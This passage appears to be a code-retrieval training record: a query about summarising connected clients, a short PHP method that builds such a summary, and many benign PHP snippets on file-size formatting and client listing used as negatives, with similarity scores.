'M': case 'm': return (int)$size_str * 1048576;\n\t\t\tcase 'K': case 'k': return (int)$size_str * 1024;\n\t\t\tcase 'G': case 'g': return (int)$size_str * 1073741824;\n\t\t\tdefault: return (int) $size_str;\n\t\t}\n\t}", "private function getSizeFormattedExact(int $size): string\n {\n if ($size > 1024 * 1024) {\n return sprintf('%0.2f MiB', ($size / 1024 / 1024));\n }\n if ($size > 1024) {\n return sprintf('%0.2f KiB', ($size / 1024));\n }\n\n return $size . ' B';\n }", "function human_filesize($bytes, $decimals = 2, $decimalSeparator = null, $thousandSeparator = null)\n{\n $decimalSeparator = $decimalSeparator ?? (localeconv()['decimal_point'] ?? '.');\n $thousandSeparator = $thousandSeparator ?? (localeconv()['thousands_sep'] ?? ',');\n $size = array('B', 'KB', 'MB', 'GB', 'TB', 'PB', 'EB', 'ZB', 'YB');\n $factor = min(floor((strlen($bytes) - 1) / 3), count($size) - 1);\n return number_format($bytes / pow(1024, $factor), $decimals, $decimalSeparator, $thousandSeparator) . $size[$factor];\n}", "function filesize_format($filesize) {\r\n\r\n\tif ($filesize >= 1073741824) $string = round($filesize / 1073741824).\" GB\";\r\n\telseif ($filesize >= 1048576) $string = round($filesize / 1048576).\" MB\";\r\n\telseif ($filesize >= 1024) $string = round($filesize / 1024).\" KB\";\r\n\telse $string = \"$filesize bytes\";\r\n\treturn $string;\r\n\t\r\n}", "public function getReadableSize()\n {\n $units = ['B', 'KB', 'MB', 'GB', 'TB', 'PB'];\n\n for ($i = 0; $this->size > 1024; $i++) {\n $this->size /= 1024;\n }\n\n return round($this->size, 2).' '.$units[$i];\n }", "protected function formatBytes($bytes){\n\t\t$return = '';\n\t\tif( $bytes < 1024 ){ $return = sprintf('%.2f',$bytes).' B'; }\n\t\telseif( $bytes < 1024*1000 ){ $return = sprintf('%.2f',$bytes/1024).' KB'; }\n\t\telseif( $bytes < 1024*1000*1000 ){ $return = sprintf('%.2f',$bytes/1024/1024).' MB'; }\n\t\telseif( $bytes < 1024*1000*1000*1000 ){ $return = sprintf('%.2f',$bytes/1024/1024/1024).' GB'; }\n\t\telseif( $bytes < 1024*1000*1000*1000*1000 ){ $return = sprintf('%.2f',$bytes/1024/1024/1024/1024).' TB'; }\n\n\t\treturn str_pad($return,15,' ', STR_PAD_LEFT);\n\t}", "function file_size_readable ($size, $retstring = null) {\n $sizes = array('B', 'kB', 'MB', 'GB', 'TB', 'PB', 'EB', 'ZB', 'YB');\n if ($retstring === null) { $retstring = '%01.2f %s'; }\n $lastsizestring = end($sizes);\n foreach ($sizes as $sizestring) {\n if ($size < 1024) { break; }\n if ($sizestring != $lastsizestring) { $size /= 1024; }\n }\n if ($sizestring == $sizes[0]) { $retstring = '%01d %s'; } // Bytes aren't normally fractional\n return sprintf($retstring, $size, $sizestring);\n}", "function human_filesize($bytes, $decimals = 0)\n{\n $size = ['B','KB','MB','GB','TB','PB','EB','ZB','YB'];\n $factor = floor((strlen($bytes) - 1) / 3);\n return sprintf(\"%.{$decimals}f\", $bytes / pow(1024, $factor)) . @$size[$factor];\n}", "private function bytesToString(int $bytes): string\n {\n $units = ['B', 'KiB', 'MiB', 'GiB', 'TiB', 'PiB', 'EiB', 'ZiB', 'YiB'];\n\n if ($bytes === 0) {\n return '0 B';\n }\n\n $index = min(count($units) -1, floor(log($bytes, 1024)));\n $size = round($bytes / pow(1024, $index), 2);\n\n return $size . ' ' . $units[$index];\n }", "function convertPHPSizeToBytes($sSize) \n{ \n if ( is_numeric( $sSize) ) {\n return $sSize;\n }\n $sSuffix = substr($sSize, -1); \n $iValue = substr($sSize, 0, -1); \n switch(strtoupper($sSuffix)){ \n case 'P':\n $iValue *= 1024;\n case 'T':\n $iValue *= 1024;\n case 'G':\n $iValue *= 1024;\n case 'M':\n $iValue *= 1024;\n case 'K':\n $iValue *= 1024;\n break;\n } \n return $iValue;\n}", "function transByte($size){\n\t$arr = array(\"B\",\"KB\",\"MB\",\"GB\",\"TB\",\"EB\");\n\t$i = 0;\n\twhile($size>1024){\n\t\t$size/=1024;\n\t\t$i++;\n\t}\n\treturn round($size,2).$arr[$i];\n}", "public static function formatFromInt($byte, $size) {}", "protected function formatBytes($bytes)\n {\n if ((int)$bytes < 1) {\n return '';\n }\n\n $units = ['B', 'K', 'M', 'G']; // G since PHP 5.1.x so we are good!\n\n $bytes = (int)$bytes;\n $base = log($bytes) / log(1000);\n $pow = pow(1000, $base - floor($base));\n\n return round($pow, 0) . $units[(int)floor($base)];\n }", "function humanize_filesize($bytes, $dec = 2)\n{\n $size = ['B', 'kB', 'MB', 'GB', 'TB', 'PB', 'EB', 'ZB', 'YB'];\n $factor = floor((strlen($bytes) - 1) / 3);\n\n return sprintf(\"%.{$dec}f\", $bytes / pow(1024, $factor)) . @$size[$factor];\n}", "public function formatBytes(int $bytes, int $precision = 2) : string {\n $base = log($bytes, 1024);\n $suffixes = ['', 'KB', 'MB', 'GB', 'TB'];\n return round(pow(1024, $base - floor($base)), $precision) .' '. $suffixes[(int) floor($base)];\n }", "public function size($size)\n {\n $kb = 1024;\n $mb = 1048576;\n $gb = 1073741824;\n $tb = 1099511627776;\n if (!$size) {\n return '0 B';\n } elseif ($size < $kb) {\n return $size.' B';\n } elseif ($size < $mb) {\n return round($size / $kb, 2).' KB';\n } elseif ($size < $gb) {\n return round($size / $mb, 2).' MB';\n } elseif ($size < $tb) {\n return round($size / $gb, 2).' GB';\n } else {\n return round($size / $tb, 2).' TB';\n }\n }", "function human_filesize($bytes, $decimals = 2) {\n $sz = 'BKMGTP';\n $factor = floor((strlen($bytes) - 1) / 3);\n return sprintf(\"%.{$decimals}f\", $bytes / pow(1024, $factor)) . @$sz[$factor];\n}", "public static function formatBytes(int $bytes, int $precision = 2): string\n {\n $units = ['B', 'KB', 'MB', 'GB', 'TB'];\n\n $bytes = max($bytes, 0);\n $pow = floor(($bytes ? log($bytes) : 0) / log(1024));\n $pow = (int) min($pow, count($units) - 1);\n\n $bytes /= 1024 ** $pow;\n\n return round($bytes, $precision) . ' ' . $units[$pow];\n }", "protected static function humanReadableSize(float $sizeInBytes): string\n {\n return Format::humanReadableSize($sizeInBytes);\n }", "public function formatBytes($bytes, $precision = 2) {\n\t\t $units = array('B', 'KB', 'MB', 'GB', 'TB');\n\t\t $bytes = max($bytes, 0);\n\t\t $pow = floor(($bytes ? log($bytes) : 0) / log(1024));\n\n\t\t $pow = min($pow, count($units) - 1);\n\t\t $bytes /= pow(1024, $pow);\n\n\t\t return round($bytes, $precision) . ' ' . $units[$pow];\n\t\t}", "function convertToNotation(int $bytes) {\n\n\t$units = array('B', 'KB', 'MB', 'GB', 'TB'); \n\n\t$bytes = max($bytes, 0); \n\t$pow = floor(($bytes ? log($bytes) : 0) / log(1024)); \n\t$pow = min($pow, count($units) - 1);\n\t$bytes /= pow(1024, $pow);\n\n return round($bytes, 2).$units[$pow]; \n\n}", "function sizetobytes($size,$reverse=false) {\n\t\t//UNITS TO BYTES\n\t\tif(!$reverse) {\n\t\t\t$unit = strtolower($size);\n\t\t\t$unit = preg_replace('/[^a-z]/', '', $unit);\n\t\t\t$value = intval(preg_replace('/[^0-9]/', '', $size));\n\t\t\t$units = array('b'=>0, 'kb'=>1, 'mb'=>2, 'gb'=>3, 'tb'=>4);\n\t\t\t$exponent = isset($units[$unit]) ? $units[$unit] : 0;\n\t\t\treturn ($value * pow(1024, $exponent)); \n\t\t} \n\t\t//BYTES TO UNITS\n if ($size >= 1073741824) {\n $size = number_format($size / 1073741824, 2).' gb';\n } elseif ($size >= 1048576) {\n $size = number_format($size / 1048576, 2).' mb';\n } elseif ($size >= 1024) {\n $size = number_format($size / 1024, 2).' kb';\n } elseif ($size > 1) {\n $size = $size.' bytes';\n } elseif ($size == 1) {\n $size = $size.' byte';\n } else {\n $size = '0 bytes';\n }\n\n return $size;\n\t}", "function formatBytes($bytes, $precision = 2) {\n $bytes = round($bytes, 0);\n\n $units = array('B', 'KB', 'MB', 'GB', 'TB');\n $short_units = array('B', 'K', 'M', 'G', 'T');\n\n // Don't allow minus bytes\n $bytes = max($bytes, 0);\n $pow = floor(($bytes ? log($bytes) : 0) / log(1000));\n $pow = min($pow, count($units) - 1);\n\n // Adjust the bytes to MB, GB, etc\n $bytes /= pow(1000, $pow);\n\n // If we're using TB then allow for one more DP\n if ($pow == 4) $precision += 1;\n\n // Format it to the correct dp\n $number = number_format($bytes, $precision);\n\n return $number . $short_units[$pow];\n}", "function convertFileSize ($filesize){\n $count = 0;\n $newFileSize = '';\n $array = ['byte', 'kb', 'mb', 'gb', 'tb', 'pb'];\n while($filesize > 1024){\n $filesize /= 1024;\n $count++;\n }\n\n $newFileSize .= round($filesize, 2) . $array[$count]; \n\n \n return $newFileSize;\n }" ]
[ "0.7407032", "0.7371487", "0.71509856", "0.70885557", "0.7064164", "0.69926167", "0.6981278", "0.6960048", "0.69217414", "0.6918628", "0.68819255", "0.6869967", "0.68639225", "0.6860334", "0.6782538", "0.67792803", "0.6776988", "0.675925", "0.6752228", "0.6739843", "0.6721773", "0.6706653", "0.6706035", "0.662453", "0.6624211", "0.661865", "0.66169214", "0.6581504", "0.6567967", "0.6563781", "0.6560443", "0.6557398", "0.6537291", "0.6523219", "0.65093106", "0.6504846", "0.6488483", "0.64764154", "0.64613473", "0.6444405", "0.64389193", "0.6437105", "0.6430359", "0.6427989", "0.64208686", "0.6418372", "0.64149606", "0.6403411", "0.6395391", "0.6385511", "0.6371492", "0.6367216", "0.6366533", "0.6352225", "0.6345801", "0.6338854", "0.63290757", "0.63228446", "0.6319808", "0.63153845", "0.63052106", "0.62979865", "0.6282572", "0.6282408", "0.6280844", "0.62759775", "0.62611973", "0.62596625", "0.62596476", "0.6254208", "0.6246864", "0.62275684", "0.6212217", "0.62112737", "0.6207543", "0.6199626", "0.61904526", "0.619015", "0.6180167", "0.6169894", "0.61600643", "0.6153168", "0.61521804", "0.6150906", "0.61508346", "0.6141252", "0.6134028", "0.61201537", "0.6094371", "0.6087434", "0.608426", "0.60453576", "0.6028474", "0.6014022", "0.60116065", "0.59897405", "0.5983233", "0.597946", "0.5977407", "0.5968872" ]
0.6451167
39
Creates a brief summary list of the connected clients.
public static function getClientsSummary() { $summary = ''; foreach (MHTTPD::$clients as $client) { $summary .= $client->getSummary()."\n"; } return $summary; }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function clientList() {\n return $this->returnCommand(['CLIENT', 'LIST'], null, null, ResponseParser::PARSE_CLIENT_LIST);\n }", "public function client_list()\n {\n return ClientList::latest()->paginate(10);\n }", "public function listClients(){\n $mysql= $this->database->databaseConnect();\n $sql = 'SELECT * FROM client';\n $query = mysqli_query($mysql, $sql) or die(mysqli_connect_error());\n $this->database->databaseClose();\n\n while($row = mysqli_fetch_assoc($query)){\n $this->clients[] = $row;\n }\n\n return $this->clients;\n }", "function displayClientList()\n\t{\n\t\t$_SESSION[\"ClientId\"] = \"\";\n\n\t\t$this->tpl->addBlockFile(\"CONTENT\",\"content\",\"tpl.clientlist.html\", \"setup\");\n\t\t$this->tpl->setVariable(\"TXT_INFO\", $this->lng->txt(\"info_text_list\"));\n\t\tilUtil::sendInfo();\n\n\t\t// common\n\t\t$this->tpl->setVariable(\"TXT_HEADER\",$this->lng->txt(\"list_clients\"));\n\t\t$this->tpl->setVariable(\"TXT_LISTSTATUS\",($this->setup->ini->readVariable(\"clients\",\"list\")) ? $this->lng->txt(\"display_clientlist\") : $this->lng->txt(\"hide_clientlist\"));\n\t\t$this->tpl->setVariable(\"TXT_TOGGLELIST\",($this->setup->ini->readVariable(\"clients\",\"list\")) ? $this->lng->txt(\"disable\") : $this->lng->txt(\"enable\"));\n\n\t\tinclude_once(\"./setup/classes/class.ilClientListTableGUI.php\");\n\t\t$tab = new ilClientListTableGUI($this->setup);\n\t\t$this->tpl->setVariable(\"CLIENT_LIST\", $tab->getHTML());\n\n\t\t// create new client button\n\t\t$this->btn_next_on = true;\n\t\t$this->btn_next_lng = $this->lng->txt(\"create_new_client\").\"...\";\n\t\t$this->btn_next_cmd = \"newclient\";\n\t}", "public function index() {\n\n\t\techo json_encode($this->Database->clients_list());\n\t}", "public function listClient()\n\t {\n\t\t$tab = array();\n\t\t\t$rqt = mysql_query(\"SELECT * FROM clients\");\n\t\t\twhile($data = mysql_fetch_assoc($rqt))\n\t\t\t\t$tab[] = $data;\n\t\t\treturn $tab;\n\t }", "function retrieve_client_statistics(){\n\t\t\n\t}", "public function clientList()\n\t{\n\t\treturn $this->client()->latest()\n\t\t\t->where('password_client', true)\n\t\t\t->where('revoked', false)->get()\n\t\t\t->makeVisible('secret');\n\t}", "public function allClients()\n\t{\n\t\t$data['clients'] = $this->MainModel->selectAll('client_details', 'client_name');\n\t\t$this->load->view('layout/header');\n\t\t$this->load->view('layout/sidebar');\n\t\t$this->load->view('template/all-clients', $data);\n\t\t$this->load->view('layout/footer');\n\t}", "function Listar_Clientes()\n\t {\n\t\tlog_message('INFO','#TRAZA| CLIENTES | Listar_Clientes() >> ');\n\t\t$data['list'] = $this->Clientes->Listar_Clientes();\n return $data;\n\t }", "function renderClients(){\n\t\t$clients = $this->cache->getClients();\n\t\tforeach($clients as $c){\n\t\t\t$size = $c->getSize();\n\t\t\t$this->ret_clients[] = array('ip'=>$c->getIp(),'mb'=>$size['mb']);\n\t\t}\n\t}", "public function display_all_client()\n {\n \n if ( ! file_exists(APPPATH.'views/pages/list.php'))\n {\n // Whoops, we don't have a page for that!\n show_404();\n }\n if (!isset($this->session->userdata['user_role']) || $this->session->userdata['user_role'] < 30)\n {\n $this->session->set_flashdata('message', 'Vous devez avoir les droits de superviseur');\n redirect($_SERVER['HTTP_REFERER']); \n } \n \n $data['title'] = 'Liste des Clients'; \n $data['membres'] = $this->member_model->get_by_type('name = \"Client\"'); \n \n // breadcrumb\n $data['breadcrumbs'] = $this->breadcrumbs('liste');\n \n $this->load->template('pages/list_members',$data);\n }", "public function index()\n {\n $client = Client::all();\n return view('clients.listCl', compact('client'));\n }", "public function index()\n {\n $client = new Clients;\n return $client->allClients();\n }", "function clientsListAction()\n\t{\n\t\t$searchParameters=$this->_request->getParams();\n\t\t\n\t\t$client_obj = new Ep_Quote_Client();\n\t\t$clients=$client_obj->getClients($searchParameters);\n\t\tif($clients!='NO')\n\t\t\t$this->_view->clients =$clients;\n\t\t\n\t\t$this->_view->client_creators=$client_obj->getClientCreatorUsers();\t\n\t\t\n\t\t$this->render('clients-list');\n\t}", "public function index()\n {\n $clients = Client::orderBy('id', 'desc')->paginate(15);\n return view('application.client.list', compact('clients'));\n }", "function statistics_client_info() {\n $n_users = db_query(\"SELECT count(uid) FROM {users}\")->fetchField();\n $software = $_SERVER['SERVER_SOFTWARE'];\n $phpversion = phpversion();\n $class = 'DatabaseTasks_' . Database::getConnection()->driver();\n $tasks = new $class();\n $dbname = '';\n $dbversion = '';\n $dbname = $tasks->name();\n $dbversion = Database::getConnection()->version();\n return array(\n 'client_version' => '0.01',\n 'time' => date('l jS \\of F Y h:i:s A'),\n 'drupal_version' => VERSION,\n 'web_server' => $software,\n 'php' => $phpversion,\n 'db' => $dbname . $dbversion,\n 'n_users' => $n_users,\n 'modules' => module_list(),\n );\n}", "public function index()\n {\n $clients = Client::orderBy('id', 'desc')->paginate(10);\n return view('clients.list',compact('clients'));\n }", "public function clientList()\n {\n return $this->getParent()->channelGroupClientList($this->getId());\n }", "public function index()\n {\n $title = $this->title;\n $clients = $this->client->where('user_id', Auth::user()->id)->paginate(10);\n return view('admin.clients.index', compact('title','clients'));\n }", "function getClientList()\n\t{\n\t\t//Update Client List\n\t\t$this->Client_List = null;\n\t\t$assigned_clients_rows = returnRowsDeveloperAssignments($this->getUsername(), 'Client');\n\t\tforeach($assigned_clients_rows as $assigned_client)\n\t\t\t$this->Client_List[] = new Client( $assigned_client['ClientProjectTask'] );\n\t\t\n\t\treturn $this->Client_List;\n\t}", "public function index()\n {\n $clients = Client::all();\n\n return $this->showAll($clients);\n }", "public function index()\n {\n $clients = auth()->user()->clients()->paginate(100);\n return view('main.client.index', compact('clients'));\n }", "public function index()\n {\n $clients = Client::orderBy('name', 'ASC')\n ->paginate(env('PAGINATION', 20));\n\n return view('client.index')->with(compact('clients'));\n }", "public function index()\n {\n // Get clients\n // Use Laravel’s pagination for showing Clients/Transactions list, 10 entries per page\n $clients = Client::paginate(10);\n return ClientResource::collection($clients);\n }", "function index() {\n\t\t$this->paginate = array(\n\t\t\t'conditions'=>array('user_id'=>$this->Auth->user('id')),\n\t\t\t'limit'=>'10',\n\t\t\t'order'=>'modified DESC'\n\t\t);\n\t\t$clients = $this->paginate();\n\t\t$this->set(compact('clients'));\n\t}", "public function index()\n {\n return View('internal.client.index')\n //->with('clients', Client::limit(5))\n ;\n }", "public function index()\n {\n return view('statuses.clients.index');\n }", "public function index()\n {\n $data = [\n 'title' => $this->title,\n 'clients' => auth()->user()->getClients()\n ];\n\n return view('clients.index', $data);\n }", "public function index()\n\t{\n $clients = $this->client\n ->orderBy('title', 'asc')\n ->get();\n\n \t\treturn view('clients.index.index')->with('clients', $clients);\n\t}", "public function index()\n {\n $clients = Client::with('cuote')->get();\n \n return view('clients.index', compact('clients'));\n }", "public function index()\n {\n $em = $this->getDoctrine()->getManager();\n $clients = $em->getRepository('App:Clients')->selectAllClient();\n return $this->render('base.html.twig', [\n 'clients' => $clients\n ]);\n }", "public function displayClient() {\n $views = $this->loadView(\"ClientView\");\n $views->displayClient();\n }", "public function get_members(){\n return $this->connected_clients;\n }", "public function indexClients()\n\t{\n\t\tif (!$this->commons->hasPermission('clients')) {\n\t\t\tNot_foundController::show('403');\n\t\t\texit();\n\t\t}\n\n\t\t/*Get User name and role*/\n\t\t$data = $this->commons->getUser();\n\t\t/**\n\t\t * Get all User data from DB using User model \n\t\t **/\n\t\t$data['result'] = $this->contactModel->getClients();\n\n\t\t/*Load Language File*/\n\t\trequire DIR_BUILDER . 'language/' . $data['info']['language'] . '/common.php';\n\t\t$data['lang']['common'] = $lang;\n\t\trequire DIR_BUILDER . 'language/' . $data['info']['language'] . '/contact.php';\n\t\t$data['lang']['contact'] = $contact;\n\n\t\t/* Set confirmation message if page submitted before */\n\t\tif (isset($this->session->data['message'])) {\n\t\t\t$data['message'] = $this->session->data['message'];\n\t\t\tunset($this->session->data['message']);\n\t\t}\n\t\t/* Set page title */\n\t\t$data['page_title'] = $data['lang']['common']['text_clients'];\n\n\t\t/*Render User list view*/\n\t\t$this->view->render('contact/client_list.tpl', $data);\n\t}", "public function index()\n {\n $data['clients'] = $this->client->getList();\n return view(\"Tenant::Client/index\", $data);\n }", "public function index()\n\t{\n\t\t//\n\t\t$clientList = Client::all();\n\t\t$data = [\n\t\t\t'clients' => $clientList\n\t\t];\n\t\treturn View::make('client.clientlist', $data);\n\t}", "public function connections()\n {\n $this->_display('connections');\n }", "public function index()\n {\n $clients = Clients::all();\n\n return view('clients.index', compact('clients'));\n }", "public function index()\n {\n $data['title'] = 'Client List';\n $data['clientInfo'] = Client::orderBy('id','DESC')->get();\n return view('admin.client.index',$data);\n }", "public function index()\n {\n $clients = Client::all();\n\n return view('dashboard.clients.index')->withClients($clients);\n }", "public function index()\n\t{\n\t\t//\n\t\t$clients = Client::orderBy('order')->paginate(10);\n\t\treturn view('clients.index',[\n\t\t\t'clients' => $clients,\n\t\t]);\n\t}", "public function index()\n {\n $clients = Client::paginate(20);\n\n $clients->getCollection()->transform(function ($client) {\n // $clients = $clients->map(function($client){\n $client->hasWishes = DB::table('wishes')\n ->join('products', 'products.id', 'wishes.product_id')\n ->where('user_id', '=', $client->user_id)\n ->select('products.*')\n ->count();\n return $client;\n });\n $enterprises = Enterprise::all();\n return view('admin.clients.index', compact('clients', 'enterprises'));\n }", "public function listAction()\n {\t\n\t\t$this->removeSession();\n\t\t$this->verifySessionRights();\n\t\t$this->setActivity(\"List view\");\n $em = $this->getDoctrine()->getManager();\n $oRepClient = $em->getRepository('BoAdminBundle:Client');\n\t\t$nb_tc = $oRepClient->getTotal();\n\t\t//get page\n\t\t$page = $this->get('session')->get('page');\n\t\tif($page==null){\n\t\t\t$page=1;\n\t\t\t$this->get('session')->set('page',1);\n\t\t}\n\t\t//get number line per page\n\t\t$nb_cpp = $em->getRepository('BoAdminBundle:Param')->getParam(\"display_list_page_number\",1);\n\t\t$nb_pages = ceil($nb_tc/$nb_cpp);\n\t\t$offset = $page>0?($page-1) * $nb_cpp:0;\n\t\t$clients = $em->getRepository('BoAdminBundle:Client')->findBy(array(),array('id' => 'desc'),$nb_cpp,$offset);\n $form = $this->createForm('Bo\\AdminBundle\\Form\\ClientType', new Client());\n return $this->render('client/index.html.twig', array(\n 'clients' => $clients,\n\t\t\t'page' => $page, // forward current page to view,\n\t\t\t'nb_pages' => $nb_pages, //total number page,\n 'form' => $form->createView(),\n\t\t\t'total'=>$nb_tc, // record number.\n\t\t\t'nb_cpp' => $nb_cpp,// line's number to display\n\t\t\t'pm'=>\"contracts\",\n\t\t\t'sm'=>\"client\",\n ));\n }", "public function clients_show()\n {\n if(Auth::user()->access != 1 )\n {\n abort(403);\n }\n return view('hact.reports.client');\n }", "public function view_all_clients() {\n $datos['query'] = $this->profesional_model->findAll();\n $this->load->view('profesionales/view_clientes', $datos);\n }", "public function index()\n\t{\n\t\t$data = array(\n\t\t\t'clients' \t=> Client::orderBy('id', 'desc')->get()\n\t\t);\n\n\t\t$this->layout->content = View::make('clients.index', $data);\n\t}", "function listClients($offset,$limit){\n\t\t$returnString = array();\n\t\t$sql = \"SELECT * FROM Client ORDER BY Client_ID ASC LIMIT $offset, $limit\";\n\t\t$data_p = mysql_query($sql);\n\t\tprint \"<table class=\\\"clients\\\"><tr><td>Client ID</td><td>Name</td><td>License Number</td><td>Policy Number</td></tr>\";\n\t\twhile($info = mysql_fetch_array( $data_p )){\n\t\t\tprint \"<tr><td><a href='client.php?action=update&client=\".$info['Client_ID'].\"'>\".$info['Client_ID'].\"</a></td><td>\";\n\t\t\tprint $info['FName'].\" \".$info['MName'].\" \".$info['LName'].\"</td><td>\";\n\t\t\tprint $info['License_No'].\"</td><td>\";\n\t\t\tprint \"<a href='policy.php?action=update&policy=\".$info['Policy_No'].\"&type=\";\n\t\t\tif($info['Company'] == 0 || $info['Company'] == null) { // Private Policy if true\n\t\t\t\tprint \"1'>P\".$info['Policy_No'].\"</a></td>\";\n\t\t\t} else { // Company Policy since false\n\t\t\t\tprint \"0'>C\".$info['Policy_No'].\"</a></td>\";\n\t\t\t}\n\t\t\t$this->printOptions($info['Client_ID']);\n\t\t\tprint \"</tr>\";\n\t\t}\n\t\tprint \"</table>\";\n\t}", "public function getClientList()\n {\n $clients = $this->find('all')\n ->select(['id', 'salutation', 'name'])\n ->where(['role' => 'client'])\n ->order(['name' => 'ASC']);\n $retval = [];\n foreach ($clients as $client) {\n $retval[$client->id] = $client->full_name;\n }\n\n return $retval;\n }", "public function index(): View\n {\n $clients = $this->clientModel::paginate(150);\n\n return \\view('clients.index', compact('clients'));\n }", "public function toString() {\n\n\n $data = \"Information client: <ul>\";\n\n $data .= \"<li>Nom: \".$this->name.\"</li>\";\n\n $data .= \"<li>Age: \".$this->age.\"</li>\";\n\n $data .= \"</ul>\";\n\n return $data;\n\n }", "public function index()\n {\n $clients = Client::get();\n return view('admin.client.index', compact('clients'));\n }", "public function index()\n {\n $clients = Client::all();\n return view('clients.index',compact('clients'));\n }", "public function index()\n {\n return Inertia::render('Client/Index', ['clients' => Client::all()]);\n }", "public function index()\n {\n // Listando informaçoes do cliente\n $clients = Clients::all();\n return view('clients', ['clients' => $clients]);\n }", "public function index()\n {\n $clients = Client::withCount('projects')->with('projects')->orderBy('projects_count', 'desc')->paginate(10);\n return view('clients.index', compact('clients'));\n }", "public function index()\n {\n $clients = Client::orderBy('ref', 'asc')->with('family')->get();\n $active = 'list';\n $i = 1 ;\n return view('clients.index', compact('active', 'i', 'clients'));\n }", "function listClients()\n{\n $clients = getClients();\n require('view/client/listClientsView.php');\n}", "public function index()\n\t{\n $clients = Client::with(['services'])->get()->toArray();\n\n return View::make('subscriptions.index', compact('clients'));\n\n\t}", "public function get_clients(){\n\t\treturn $this->clients;\n\t}", "public function index()\n {\n $users=User::where('is_admin','=','0')->get();\n return view('admin.client.clients',compact('users'));\n }", "public function clients()\n {\n $users = DB::table('users')\n ->where('user_type' ,'=','client')\n ->get();\n\n return view('users.clientlist',compact('users'));\n }", "public static function getClientsList($list = array(), $title = 'Referenssit', $blacklist = array(), $fullPreviews = true, $footerPreviews = true) {\n if (!$list) {\n $args = array(\n \t'posts_per_page' => 100,\n \t'offset' => 0,\n \t'orderby' => 'menu_order',\n \t'order' => 'DESC',\n \t'post_type' => 'client',\n \t'post_status' => 'publish',\n \t'suppress_filters' => true\n );\n\n $posts = get_posts( $args );\n self::postSort($posts);\n\n } else {\n $posts = self::getPosts($list);\n }\n\n return new ClientList($posts, $title, $blacklist, $fullPreviews, $footerPreviews);\n }", "public function index()\n {\n $clientes = Cliente::all();\n return $this->showAll($clientes);\n }", "public function showClients()\n\t{\n\t\t$clients = ClientSite::all();\n\t\treturn View::make('index')->with('clients',$clients);\n\t}", "public function index()\n {\n return view('clients');\n }", "public function index()\n {\n // get all clients \n $clients = Client::with(['deliveries.products'])->ordered(true)->get();\n\n // return clients as json\n return $clients->toJson();\n }", "public function clients() {\n\t\treturn $this->clients_model->getClients($this->compID);\n\t}", "public function getAllClients(){\n\t\t$sql = \"SELECT * FROM cliente;\";\n\t\treturn $this->Model->getData($sql);\n\t}", "public function index()\n {\n $client = Client::paginate();\n return ClientResource::collection($client);\n }", "public function stationClientList() {\n\n\t\ttry {\n\n\t\t\treturn response()->json(array('code' => 0, 'msg' => 'Success', 'data' => \\Auth::User()->station->contentClientsArray()));\n\n\t\t} catch(\\Exception $ex) {\n\t\t\t\\Log::error($ex);\n\t\t\treturn response()->json(array('code' => -1, 'msg' => $ex->getMessage()));\n\t\t}\n\t}", "public function get_Clients() \n\t{\n\t\t$query = '';\n\t\t$result = '';\n\t\t$clients = array();\n\n\t\tswitch( $this->db_link->getDriver() )\n\t\t{\n\t\t\tcase 'sqlite':\n\t\t\tcase 'mysql':\n\t\t\tcase 'pgsql':\n\t\t\t\t$query = \"SELECT Client.ClientId, Client.Name FROM Client \";\n\t\t\t\tif( $this->bwcfg->get_Param( 'show_inactive_clients' ) )\n\t\t\t\t\t$query .= \"WHERE FileRetention > '0' AND JobRetention > '0' \"; \n\t\t\t\t$query .= \"ORDER BY Client.Name;\";\n\t\t\tbreak;\n\t\t}\n\n\t\t$result = $this->db_link->runQuery($query);\n\t\t\t\n\t\tforeach( $result->fetchAll() as $client )\n\t\t\t$clients[ $client['clientid'] ] = $client['name'];\n\t\t\t\t\n\t\treturn $clients;\t\t\n\t}", "public function index()\n {\n return ClientResource::collection(Client::orderBy('id', 'DESC')->paginate());\n }", "public function index()\n {\n $clients = Client::paginate(5);\n \n return view('clients.index', compact('clients')); \n //return view('client');\n }", "public function actionIndex()\n {\n $searchModel = new ClientsLogosSearch();\n $dataProvider = $searchModel->search(Yii::$app->request->queryParams);\n\n $categories = ClientsCategories::find()\n ->select(['id', 'name'])\n ->asArray()\n ->all();\n\n return $this->render('index', [\n 'searchModel' => $searchModel,\n 'dataProvider' => $dataProvider,\n 'categories' => ArrayHelper::map($categories, 'id', 'name'),\n ]);\n }", "public function index()\n {\n $page_title = 'Clients';\n $page_description = 'Manage all your clients.';\n\n $data = Client::all();\n\n return view('dashboard.clients.index', compact('page_title', 'page_description', 'data'));\n }", "public function getClients()\n {\n return $this->clients;\n }", "public function getClients()\n {\n return $this->clients;\n }", "public function index()\n {\n $clients = Client::all();\n return view('clients/index')->with(['clients' => $clients]);\n }", "public function index()\n {\n\n $clients = Client::all();\n return view('Client.index', compact('clients'));\n }", "public function index()\n {\n $clients = Client::all();\n return view('clients')->with('clients' , $clients);\n }", "private function lista_clientes()\n {\n\n $lista_clientes = Cliente::where('status', 1)\n ->orderBy('nome')\n ->get();\n\n return $lista_clientes;\n }", "public function index()\n {\n // $clients = Client::all();\n $clients = Client::paginate(8); // 8 registros por page\n return view('admin.clients.index', compact('clients'));\n }", "public function index()\n {\n //\n $transactions = Transaction::all();\n\n $inactiveclients = Client::orderBy('name', 'Asc')->where('active', 0)->get();\n\n $activeclients = Client::orderBy('name', 'Asc')->where('active', 1)->paginate(12);\n\n return view('admin.clients.index', compact('activeclients', 'inactiveclients', 'transactions'));\n }", "public function index()\n {\n $clients = Client::with('policies')->byUser(\\Auth::user())->paginate(10);\n return view('clients.index', compact('clients'));\n }", "function afficherclients(){\r\n\t\t$sql=\"SElECT * From clients\";\r\n\t\t$db = config::getConnexion();\r\n\t\ttry{\r\n\t\t$liste=$db->query($sql);\r\n\t\treturn $liste;\r\n\t\t}\r\n catch (Exception $e){\r\n die('Erreur: '.$e->getMessage());\r\n }\t\r\n\t}", "public function index()\n {\n $users = User::paginate(10);\n return view('clients/index')->withUsers($users);\n }", "public function index()\n {\n $account = new AccountClient;\n return view('modules.organization.AccountClient.list', compact('account'));\n }", "public function listClientAction()\n {\n \t$em = $this->getDoctrine()->getManager();\n $client = $em->getRepository('CoutureGestionBundle:Client')->findAll();\n $client = array_reverse($client);\n return $this->render('CoutureGestionBundle:Couture:listClient.html.twig', array(\n 'client' => $client\n ));\n }", "public function index()\n {\n if(!Auth::user()->isSuperAdmin()) {\n abort(402, \"Nope.\");\n }\n\n $clients = Client::orderBy('name')->with('user')->get();\n return view('client.index')->with('clients', $clients);\n }", "public function stats()\n {\n ?>\n\n <p>\n <strong>Redis Status:</strong> <?php echo $this->redis_status() ? 'Connected' : 'Not Connected'; 